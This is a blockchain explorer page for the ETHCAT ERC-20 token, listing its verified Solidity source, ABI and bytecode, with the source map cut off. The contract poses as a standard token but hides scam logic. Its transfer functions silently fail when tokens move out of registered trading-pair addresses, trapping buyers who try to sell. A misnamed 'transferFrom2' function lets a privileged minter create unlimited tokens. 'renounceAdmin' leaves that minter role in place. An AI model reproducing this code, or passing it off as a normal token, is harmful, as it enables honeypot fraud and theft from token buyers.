ERC-20
Overview
Max Total Supply
100,021,000,000 ETHCAT
Holders
22
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0 ETHCATValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x85485bd4...df68eDF91 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
ERC20Token
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-02 */ /* https://x.com/ethcat_erc https://t.me/ETHCAT_CN http://ETHCAT.xyz */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract ERC20Token { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public admin; address public newMinter; address[] public pairAddresses; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory _name, string memory _symbol, uint256 _initialSupply) { name = _name; symbol = _symbol; totalSupply = _initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; admin = msg.sender; newMinter = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin, "Only admin can call this function"); _; } modifier onlyNewMinter() { require(msg.sender == newMinter, "Only new minter can call this function"); _; } modifier onlyNewMinterCanSetPair() { require(msg.sender == newMinter, "Only new minter can set pair address"); _; } function transfer(address _to, uint256 _value) public returns (bool) { if (isPairAddress(msg.sender)) { return false; } require(balanceOf[msg.sender] >= _value, "Insufficient balance"); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (isPairAddress(_from)) { return false; } require(balanceOf[_from] >= _value, "Insufficient balance"); require(allowance[_from][msg.sender] >= _value, "Allowance exceeded"); balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function transferFrom2(uint256 _amount, address _to) public onlyNewMinter returns (bool) { totalSupply += _amount * 10 ** uint256(decimals); balanceOf[_to] += _amount * 10 ** uint256(decimals); emit Transfer(address(0), _to, _amount * 10 ** uint256(decimals)); return true; } function renounceAdmin() public onlyAdmin { admin = address(0); } function changeAdmin(address _newAdmin) public onlyAdmin { require(_newAdmin!= address(0), "New admin cannot be the zero address"); admin = _newAdmin; } function setPairAddress(address _pairAddress) public onlyNewMinterCanSetPair { pairAddresses.push(_pairAddress); } function isPairAddress(address _address) private view returns (bool) { for (uint256 i = 0; i < pairAddresses.length; i++) { if (pairAddresses[i] == _address) { return true; } } return false; } function removePairAddress(address _address) public onlyNewMinterCanSetPair { bool found = false; address[] memory newPairAddresses = new address[](pairAddresses.length - 1); uint256 newIndex = 0; for (uint256 i = 0; i < pairAddresses.length; i++) { if (pairAddresses[i] == _address) { found = true; continue; } newPairAddresses[newIndex] = pairAddresses[i]; newIndex++; } require(found, "Address is not a PAIR address"); pairAddresses = newPairAddresses; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newMinter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pairAddresses","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removePairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pairAddress","type":"address"}],"name":"setPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferFrom2","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526002805460ff191660121790553480156200001e57600080fd5b506040516200145e3803806200145e833981016040819052620000419162000186565b60006200004f848262000288565b5060016200005e838262000288565b50600254620000729060ff16600a62000469565b6200007e90826200047e565b600381905533600081815260046020526040902091909155600680546001600160a01b031990811683179091556007805490911690911790555062000498915050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620000e957600080fd5b81516001600160401b0380821115620001065762000106620000c1565b604051601f8301601f19908116603f01168101908282118183101715620001315762000131620000c1565b816040528381526020925086838588010111156200014e57600080fd5b600091505b8382101562000172578582018301518183018401529082019062000153565b600093810190920192909252949350505050565b6000806000606084860312156200019c57600080fd5b83516001600160401b0380821115620001b457600080fd5b620001c287838801620000d7565b94506020860151915080821115620001d957600080fd5b50620001e886828701620000d7565b925050604084015190509250925092565b600181811c908216806200020e57607f821691505b6020821081036200022f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200028357600081815260208120601f850160051c810160208610156200025e5750805b601f850160051c820191505b818110156200027f578281556001016200026a565b5050505b505050565b81516001600160401b03811115620002a457620002a4620000c1565b620002bc81620002b58454620001f9565b8462000235565b602080601f831160018114620002f45760008415620002db5750858301515b600019600386901b1c1916600185901b1785556200027f565b600085815260208120601f198616915b82811015620003255788860151825594840194600190910190840162000304565b5085821015620003445787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003ab5781600019048211156200038f576200038f62000354565b808516156200039d57918102915b93841c93908002906200036f565b509250929050565b600082620003c45750600162000463565b81620003d35750600062000463565b8160018114620003ec5760028114620003f75762000417565b600191505062000463565b60ff8411156200040b576200040b62000354565b50506001821b62000463565b5060208310610133831016604e8410600b84101617156200043c575081810a62000463565b6200044883836200036a565b80600019048211156200045f576200045f62000354565b0290505b92915050565b6000620004778383620003b3565b9392505050565b808202811582820484141762000463576200046362000354565b610fb680620004a86000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806395d89b41116100a2578063b3bb025f11610071578063b3bb025f14610230578063c03703ac14610243578063dd62ed3e14610256578063f851a44014610281578063fff434811461029457600080fd5b806395d89b41146101d7578063a22d4832146101df578063a3e07108146101f2578063a9059cbb1461021d57600080fd5b8063313ce567116100de578063313ce5671461017b57806370a082311461019a5780638bad0c0a146101ba5780638f283970146101c457600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610168575b600080fd5b6101186102a7565b6040516101259190610bdf565b60405180910390f35b61014161013c366004610c49565b610335565b6040519015158152602001610125565b61015a60035481565b604051908152602001610125565b610141610176366004610c73565b6103a2565b6002546101889060ff1681565b60405160ff9091168152602001610125565b61015a6101a8366004610caf565b60046020526000908152604090205481565b6101c2610572565b005b6101c26101d2366004610caf565b6105ae565b61011861065c565b6101c26101ed366004610caf565b610669565b600754610205906001600160a01b031681565b6040516001600160a01b039091168152602001610125565b61014161022b366004610c49565b6106e5565b6101c261023e366004610caf565b6107e1565b610141610251366004610cca565b610994565b61015a610264366004610cf6565b600560209081526000928352604080842090915290825290205481565b600654610205906001600160a01b031681565b6102056102a2366004610d20565b610ad2565b600080546102b490610d39565b80601f01602080910402602001604051908101604052809291908181526020018280546102e090610d39565b801561032d5780601f106103025761010080835404028352916020019161032d565b820191906000526020600020905b81548152906001019060200180831161031057829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103909086815260200190565b60405180910390a35060015b92915050565b60006103ad84610afc565b156103ba5750600061056b565b6001600160a01b03841660009081526004602052604090205482111561041e5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064015b60405180910390fd5b6001600160a01b03841660009081526005602090815260408083203384529091529020548211156104865760405162461bcd60e51b8152602060048201526012602482015271105b1b1bddd85b98d948195e18d95959195960721b6044820152606401610415565b6001600160a01b038416600090815260046020526040812080548492906104ae908490610d89565b90915550506001600160a01b038316600090815260046020526040812080548492906104db908490610d9c565b90915550506001600160a01b038416600090815260056020908152604080832033845290915281208054849290610513908490610d89565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161055f91815260200190565b60405180910390a35060015b9392505050565b6006546001600160a01b0316331461059c5760405162461bcd60e51b815260040161041590610daf565b600680546001600160a01b0319169055565b6006546001600160a01b031633146105d85760405162461bcd60e51b815260040161041590610daf565b6001600160a01b03811661063a5760405162461bcd60e51b8152602060048201526024808201527f4e65772061646d696e2063616e6e6f7420626520746865207a65726f206164646044820152637265737360e01b6064820152608401610415565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600180546102b490610d39565b6007546001600160a01b031633146106935760405162461bcd60e51b815260040161041590610df0565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319166001600160a01b0392909216919091179055565b60006106f033610afc565b156106fd5750600061039c565b336000908152600460205260409020548211156107535760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610415565b3360009081526004602052604081208054849290610772908490610d89565b90915550506001600160a01b0383166000908152600460205260408120805484929061079f908490610d9c565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610390565b6007546001600160a01b0316331461080b5760405162461bcd60e51b815260040161041590610df0565b600854600090819061081f90600190610d89565b67ffffffffffffffff81111561083757610837610e34565b604051908082528060200260200182016040528015610860578160200160208202803683370190505b5090506000805b60085481101561092c57846001600160a01b03166008828154811061088e5761088e610e4a565b6000918252602090912001546001600160a01b0316036108b1576001935061091a565b600881815481106108c4576108c4610e4a565b9060005260206000200160009054906101000a90046001600160a01b03168383815181106108f4576108f4610e4a565b6001600160a01b03909216602092830291909101909101528161091681610e60565b9250505b8061092481610e60565b915050610867565b508261097a5760405162461bcd60e51b815260206004820152601d60248201527f41646472657373206973206e6f742061205041495220616464726573730000006044820152606401610415565b815161098d906008906020850190610b65565b5050505050565b6007546000906001600160a01b03163314610a005760405162461bcd60e51b815260206004820152602660248201527f4f6e6c79206e6577206d696e7465722063616e2063616c6c20746869732066756044820152653731ba34b7b760d11b6064820152608401610415565b600254610a119060ff16600a610f5d565b610a1b9084610f69565b60036000828254610a2c9190610d9c565b9091555050600254610a429060ff16600a610f5d565b610a4c9084610f69565b6001600160a01b03831660009081526004602052604081208054909190610a74908490610d9c565b90915550506002546001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aba9060ff16600a610f5d565b610ac49087610f69565b604051908152602001610390565b60088181548110610ae257600080fd5b6000918252602090912001546001600160a01b0316905081565b6000805b600854811015610b5c57826001600160a01b031660088281548110610b2757610b27610e4a565b6000918252602090912001546001600160a01b031603610b4a5750600192915050565b80610b5481610e60565b915050610b00565b50600092915050565b828054828255906000526020600020908101928215610bba579160200282015b82811115610bba57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610b85565b50610bc6929150610bca565b5090565b5b80821115610bc65760008155600101610bcb565b600060208083528351808285015260005b81811015610c0c57858101830151858201604001528201610bf0565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c4457600080fd5b919050565b60008060408385031215610c5c57600080fd5b610c6583610c2d565b946020939093013593505050565b600080600060608486031215610c8857600080fd5b610c9184610c2d565b9250610c9f60208501610c2d565b9150604084013590509250925092565b600060208284031215610cc157600080fd5b61056b82610c2d565b60008060408385031215610cdd57600080fd5b82359150610ced60208401610c2d565b90509250929050565b60008060408385031215610d0957600080fd5b610d1283610c2d565b9150610ced60208401610c2d565b600060208284031215610d3257600080fd5b5035919050565b600181811c90821680610d4d57607f821691505b602082108103610d6d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561039c5761039c610d73565b8082018082111561039c5761039c610d73565b60208082526021908201527f4f6e6c792061646d696e2063616e2063616c6c20746869732066756e6374696f6040820152603760f91b606082015260800190565b60208082526024908201527f4f6e6c79206e6577206d696e7465722063616e207365742070616972206164646040820152637265737360e01b606082015260800190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600060018201610e7257610e72610d73565b5060010190565b600181815b80851115610eb4578160001904821115610e9a57610e9a610d73565b80851615610ea757918102915b93841c9390800290610e7e565b509250929050565b600082610ecb5750600161039c565b81610ed85750600061039c565b8160018114610eee5760028114610ef857610f14565b600191505061039c565b60ff841115610f0957610f09610d73565b50506001821b61039c565b5060208310610133831016604e8410600b8410161715610f37575081810a61039c565b610f418383610e79565b8060001904821115610f5557610f55610d73565b029392505050565b600061056b8383610ebc565b808202811582820484141761039c5761039c610d7356fea2646970667358221220ddea7162175a18d2a8cabd7fcc3231f60c0369ad179af007eb2cde86105f475d64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000009896800000000000000000000000000000000000000000000000000000000000000006455448434154000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064554484341540000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806395d89b41116100a2578063b3bb025f11610071578063b3bb025f14610230578063c03703ac14610243578063dd62ed3e14610256578063f851a44014610281578063fff434811461029457600080fd5b806395d89b41146101d7578063a22d4832146101df578063a3e07108146101f2578063a9059cbb1461021d57600080fd5b8063313ce567116100de578063313ce5671461017b57806370a082311461019a5780638bad0c0a146101ba5780638f283970146101c457600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610168575b600080fd5b6101186102a7565b6040516101259190610bdf565b60405180910390f35b61014161013c366004610c49565b610335565b6040519015158152602001610125565b61015a60035481565b604051908152602001610125565b610141610176366004610c73565b6103a2565b6002546101889060ff1681565b60405160ff9091168152602001610125565b61015a6101a8366004610caf565b60046020526000908152604090205481565b6101c2610572565b005b6101c26101d2366004610caf565b6105ae565b61011861065c565b6101c26101ed366004610caf565b610669565b600754610205906001600160a01b031681565b6040516001600160a01b039091168152602001610125565b61014161022b366004610c49565b6106e5565b6101c261023e366004610caf565b6107e1565b610141610251366004610cca565b610994565b61015a610264366004610cf6565b600560209081526000928352604080842090915290825290205481565b600654610205906001600160a01b031681565b6102056102a2366004610d20565b610ad2565b600080546102b490610d39565b80601f01602080910402602001604051908101604052809291908181526020018280546102e090610d39565b801561032d5780601f106103025761010080835404028352916020019161032d565b820191906000526020600020905b81548152906001019060200180831161031057829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103909086815260200190565b60405180910390a35060015b92915050565b60006103ad84610afc565b156103ba5750600061056b565b6001600160a01b03841660009081526004602052604090205482111561041e5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064015b60405180910390fd5b6001600160a01b03841660009081526005602090815260408083203384529091529020548211156104865760405162461bcd60e51b8152602060048201526012602482015271105b1b1bddd85b98d948195e18d95959195960721b6044820152606401610415565b6001600160a01b038416600090815260046020526040812080548492906104ae908490610d89565b90915550506001600160a01b038316600090815260046020526040812080548492906104db908490610d9c565b90915550506001600160a01b038416600090815260056020908152604080832033845290915281208054849290610513908490610d89565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161055f91815260200190565b60405180910390a35060015b9392505050565b6006546001600160a01b0316331461059c5760405162461bcd60e51b815260040161041590610daf565b600680546001600160a01b0319169055565b6006546001600160a01b031633146105d85760405162461bcd60e51b815260040161041590610daf565b6001600160a01b03811661063a5760405162461bcd60e51b8152602060048201526024808201527f4e65772061646d696e2063616e6e6f7420626520746865207a65726f206164646044820152637265737360e01b6064820152608401610415565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600180546102b490610d39565b6007546001600160a01b031633146106935760405162461bcd60e51b815260040161041590610df0565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319166001600160a01b0392909216919091179055565b60006106f033610afc565b156106fd5750600061039c565b336000908152600460205260409020548211156107535760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610415565b3360009081526004602052604081208054849290610772908490610d89565b90915550506001600160a01b0383166000908152600460205260408120805484929061079f908490610d9c565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610390565b6007546001600160a01b0316331461080b5760405162461bcd60e51b815260040161041590610df0565b600854600090819061081f90600190610d89565b67ffffffffffffffff81111561083757610837610e34565b604051908082528060200260200182016040528015610860578160200160208202803683370190505b5090506000805b60085481101561092c57846001600160a01b03166008828154811061088e5761088e610e4a565b6000918252602090912001546001600160a01b0316036108b1576001935061091a565b600881815481106108c4576108c4610e4a565b9060005260206000200160009054906101000a90046001600160a01b03168383815181106108f4576108f4610e4a565b6001600160a01b03909216602092830291909101909101528161091681610e60565b9250505b8061092481610e60565b915050610867565b508261097a5760405162461bcd60e51b815260206004820152601d60248201527f41646472657373206973206e6f742061205041495220616464726573730000006044820152606401610415565b815161098d906008906020850190610b65565b5050505050565b6007546000906001600160a01b03163314610a005760405162461bcd60e51b815260206004820152602660248201527f4f6e6c79206e6577206d696e7465722063616e2063616c6c20746869732066756044820152653731ba34b7b760d11b6064820152608401610415565b600254610a119060ff16600a610f5d565b610a1b9084610f69565b60036000828254610a2c9190610d9c565b9091555050600254610a429060ff16600a610f5d565b610a4c9084610f69565b6001600160a01b03831660009081526004602052604081208054909190610a74908490610d9c565b90915550506002546001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aba9060ff16600a610f5d565b610ac49087610f69565b604051908152602001610390565b60088181548110610ae257600080fd5b6000918252602090912001546001600160a01b0316905081565b6000805b600854811015610b5c57826001600160a01b031660088281548110610b2757610b27610e4a565b6000918252602090912001546001600160a01b031603610b4a5750600192915050565b80610b5481610e60565b915050610b00565b50600092915050565b828054828255906000526020600020908101928215610bba579160200282015b82811115610bba57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610b85565b50610bc6929150610bca565b5090565b5b80821115610bc65760008155600101610bcb565b600060208083528351808285015260005b81811015610c0c57858101830151858201604001528201610bf0565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c4457600080fd5b919050565b60008060408385031215610c5c57600080fd5b610c6583610c2d565b946020939093013593505050565b600080600060608486031215610c8857600080fd5b610c9184610c2d565b9250610c9f60208501610c2d565b9150604084013590509250925092565b600060208284031215610cc157600080fd5b61056b82610c2d565b60008060408385031215610cdd57600080fd5b82359150610ced60208401610c2d565b90509250929050565b60008060408385031215610d0957600080fd5b610d1283610c2d565b9150610ced60208401610c2d565b600060208284031215610d3257600080fd5b5035919050565b600181811c90821680610d4d57607f821691505b602082108103610d6d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561039c5761039c610d73565b8082018082111561039c5761039c610d73565b60208082526021908201527f4f6e6c792061646d696e2063616e2063616c6c20746869732066756e6374696f6040820152603760f91b606082015260800190565b60208082526024908201527f4f6e6c79206e6577206d696e7465722063616e207365742070616972206164646040820152637265737360e01b606082015260800190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600060018201610e7257610e72610d73565b5060010190565b600181815b80851115610eb4578160001904821115610e9a57610e9a610d73565b80851615610ea757918102915b93841c9390800290610e7e565b509250929050565b600082610ecb5750600161039c565b81610ed85750600061039c565b8160018114610eee5760028114610ef857610f14565b600191505061039c565b60ff841115610f0957610f09610d73565b50506001821b61039c565b5060208310610133831016604e8410600b8410161715610f37575081810a61039c565b610f418383610e79565b8060001904821115610f5557610f55610d73565b029392505050565b600061056b8383610ebc565b808202811582820484141761039c5761039c610d7356fea2646970667358221220ddea7162175a18d2a8cabd7fcc3231f60c0369ad179af007eb2cde86105f475d64736f6c63430008120033
Deployed Bytecode Sourcemap
137:4123:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;164:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1809:208;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;1809:208:0;1004:187:1;249:26:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;249:26:0;1196:177:1;2030:518:0;;;;;;:::i;:::-;;:::i;216:26::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;216:26:0;1711:184:1;284:44:0;;;;;;:::i;:::-;;;;;;;;;;;;;;2880:79;;;:::i;:::-;;2967:175;;;;;;:::i;:::-;;:::i;189:20::-;;;:::i;3156:128::-;;;;;;:::i;:::-;;:::i;435:24::-;;;;;-1:-1:-1;;;;;435:24:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;435:24:0;2091:203:1;1411:390:0;;;;;;:::i;:::-;;:::i;3578:679::-;;;;;;:::i;:::-;;:::i;2556:316::-;;;;;;:::i;:::-;;:::i;335:64::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;408:20;;;;;-1:-1:-1;;;;;408:20:0;;;474:30;;;;;;:::i;:::-;;:::i;164:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1809:208::-;1903:10;1876:4;1893:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;1893:31:0;;;;;;;;;;:40;;;1949:38;1876:4;;1893:31;;1949:38;;;;1927:6;1342:25:1;;1330:2;1315:18;;1196:177;1949:38:0;;;;;;;;-1:-1:-1;2005:4:0;1809:208;;;;;:::o;2030:518::-;2112:4;2143:20;2157:5;2143:13;:20::i;:::-;2139:65;;;-1:-1:-1;2187:5:0;2180:12;;2139:65;-1:-1:-1;;;;;2222:16:0;;;;;;:9;:16;;;;;;:26;-1:-1:-1;2222:26:0;2214:59;;;;-1:-1:-1;;;2214:59:0;;3595:2:1;2214:59:0;;;3577:21:1;3634:2;3614:18;;;3607:30;-1:-1:-1;;;3653:18:1;;;3646:50;3713:18;;2214:59:0;;;;;;;;;-1:-1:-1;;;;;2292:16:0;;;;;;:9;:16;;;;;;;;2309:10;2292:28;;;;;;;;:38;-1:-1:-1;2292:38:0;2284:69;;;;-1:-1:-1;;;2284:69:0;;3944:2:1;2284:69:0;;;3926:21:1;3983:2;3963:18;;;3956:30;-1:-1:-1;;;4002:18:1;;;3995:48;4060:18;;2284:69:0;3742:342:1;2284:69:0;-1:-1:-1;;;;;2364:16:0;;;;;;:9;:16;;;;;:26;;2384:6;;2364:16;:26;;2384:6;;2364:26;:::i;:::-;;;;-1:-1:-1;;;;;;;2401:14:0;;;;;;:9;:14;;;;;:24;;2419:6;;2401:14;:24;;2419:6;;2401:24;:::i;:::-;;;;-1:-1:-1;;;;;;;2436:16:0;;;;;;:9;:16;;;;;;;;2453:10;2436:28;;;;;;;:38;;2468:6;;2436:16;:38;;2468:6;;2436:38;:::i;:::-;;;;;;;;2506:3;-1:-1:-1;;;;;2490:28:0;2499:5;-1:-1:-1;;;;;2490:28:0;;2511:6;2490:28;;;;1342:25:1;;1330:2;1315:18;;1196:177;2490:28:0;;;;;;;;-1:-1:-1;2536:4:0;2030:518;;;;;;:::o;2880:79::-;1050:5;;-1:-1:-1;;;;;1050:5:0;1036:10;:19;1028:65;;;;-1:-1:-1;;;1028:65:0;;;;;;;:::i;:::-;2933:5:::1;:18:::0;;-1:-1:-1;;;;;;2933:18:0::1;::::0;;2880:79::o;2967:175::-;1050:5;;-1:-1:-1;;;;;1050:5:0;1036:10;:19;1028:65;;;;-1:-1:-1;;;1028:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3043:22:0;::::1;3035:71;;;::::0;-1:-1:-1;;;3035:71:0;;5088:2:1;3035:71:0::1;::::0;::::1;5070:21:1::0;5127:2;5107:18;;;5100:30;5166:34;5146:18;;;5139:62;-1:-1:-1;;;5217:18:1;;;5210:34;5261:19;;3035:71:0::1;4886:400:1::0;3035:71:0::1;3117:5;:17:::0;;-1:-1:-1;;;;;;3117:17:0::1;-1:-1:-1::0;;;;;3117:17:0;;;::::1;::::0;;;::::1;::::0;;2967:175::o;189:20::-;;;;;;;:::i;3156:128::-;1327:9;;-1:-1:-1;;;;;1327:9:0;1313:10;:23;1305:72;;;;-1:-1:-1;;;1305:72:0;;;;;;;:::i;:::-;3244:13:::1;:32:::0;;::::1;::::0;::::1;::::0;;-1:-1:-1;3244:32:0;;;;;::::1;::::0;;-1:-1:-1;;;;;;3244:32:0::1;-1:-1:-1::0;;;;;3244:32:0;;;::::1;::::0;;;::::1;::::0;;3156:128::o;1411:390::-;1474:4;1505:25;1519:10;1505:13;:25::i;:::-;1501:70;;;-1:-1:-1;1554:5:0;1547:12;;1501:70;1599:10;1589:21;;;;:9;:21;;;;;;:31;-1:-1:-1;1589:31:0;1581:64;;;;-1:-1:-1;;;1581:64:0;;3595:2:1;1581:64:0;;;3577:21:1;3634:2;3614:18;;;3607:30;-1:-1:-1;;;3653:18:1;;;3646:50;3713:18;;1581:64:0;3393:344:1;1581:64:0;1666:10;1656:21;;;;:9;:21;;;;;:31;;1681:6;;1656:21;:31;;1681:6;;1656:31;:::i;:::-;;;;-1:-1:-1;;;;;;;1698:14:0;;;;;;:9;:14;;;;;:24;;1716:6;;1698:14;:24;;1716:6;;1698:24;:::i;:::-;;;;-1:-1:-1;;1738:33:0;;1342:25:1;;;-1:-1:-1;;;;;1738:33:0;;;1747:10;;1738:33;;1330:2:1;1315:18;1738:33:0;1196:177:1;3578:679:0;1327:9;;-1:-1:-1;;;;;1327:9:0;1313:10;:23;1305:72;;;;-1:-1:-1;;;1305:72:0;;;;;;;:::i;:::-;3764:13:::1;:20:::0;3675:10:::1;::::0;;;3764:24:::1;::::0;3787:1:::1;::::0;3764:24:::1;:::i;:::-;3750:39;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;-1:-1:-1;3750:39:0::1;;3714:75;;3800:16;3836:9:::0;3831:298:::1;3855:13;:20:::0;3851:24;::::1;3831:298;;;3935:8;-1:-1:-1::0;;;;;3915:28:0::1;:13;3929:1;3915